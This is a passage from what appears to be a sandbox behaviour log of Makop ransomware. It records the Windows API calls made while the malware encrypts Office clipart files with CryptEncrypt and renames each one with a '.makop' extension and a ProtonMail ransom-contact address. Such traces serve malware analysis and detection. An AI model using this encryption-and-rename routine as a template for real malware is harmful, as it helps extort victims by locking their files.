office\\clipart\\pub60cor\\ph02412k.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.086] CloseHandle (hObject=0xf0) returned 1 [0146.086] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0146.086] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP") returned 63 [0146.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.088] GetProcessHeap () returned 0x48a0000 [0146.088] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.088] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.088] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.089] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.089] GetProcessHeap () returned 0x48a0000 [0146.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.089] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.089] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.089] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0146.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.100] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.100] SetEndOfFile (hFile=0xf0) returned 1 [0146.107] GetProcessHeap () returned 0x48a0000 [0146.107] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.107] GetProcessHeap () returned 0x48a0000 [0146.107] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.107] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.107] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.109] CloseHandle (hObject=0xf0) returned 1 [0146.109] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0146.109] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP") returned 63 [0146.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.110] GetProcessHeap () returned 0x48a0000 [0146.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.111] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.111] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.115] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.115] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.115] GetProcessHeap () returned 0x48a0000 [0146.115] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.115] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.115] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.115] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.116] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.117] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.117] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.117] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.117] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c08, lpOverlapped=0x0) returned 1 [0146.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c10) returned 1 [0146.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.120] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c10, lpOverlapped=0x0) returned 1 [0146.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.121] SetEndOfFile (hFile=0xf0) returned 1 [0146.129] GetProcessHeap () returned 0x48a0000 [0146.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.129] GetProcessHeap () returned 0x48a0000 [0146.129] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.129] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.131] CloseHandle (hObject=0xf0) returned 1 [0146.131] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0146.132] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP") returned 63 [0146.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.135] GetProcessHeap () returned 0x48a0000 [0146.135] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.135] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.139] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.140] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.140] GetProcessHeap () returned 0x48a0000 [0146.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.140] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.140] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.140] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.141] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.141] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.141] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x48fc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x48fc, lpOverlapped=0x0) returned 1 [0146.143] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4900, dwBufLen=0x4900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4900) returned 1 [0146.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.143] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4900, lpOverlapped=0x0) returned 1 [0146.144] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x49d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.144] SetEndOfFile (hFile=0xf0) returned 1 [0146.151] GetProcessHeap () returned 0x48a0000 [0146.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.151] GetProcessHeap () returned 0x48a0000 [0146.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.151] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.153] CloseHandle (hObject=0xf0) returned 1 [0146.154] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0146.154] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP") returned 63 [0146.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.156] GetProcessHeap () returned 0x48a0000 [0146.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.157] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.157] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.157] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.157] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.157] GetProcessHeap () returned 0x48a0000 [0146.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.157] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.157] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.157] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.164] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0146.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.166] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.167] SetEndOfFile (hFile=0xf0) returned 1 [0146.174] GetProcessHeap () returned 0x48a0000 [0146.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.174] GetProcessHeap () returned 0x48a0000 [0146.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.174] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 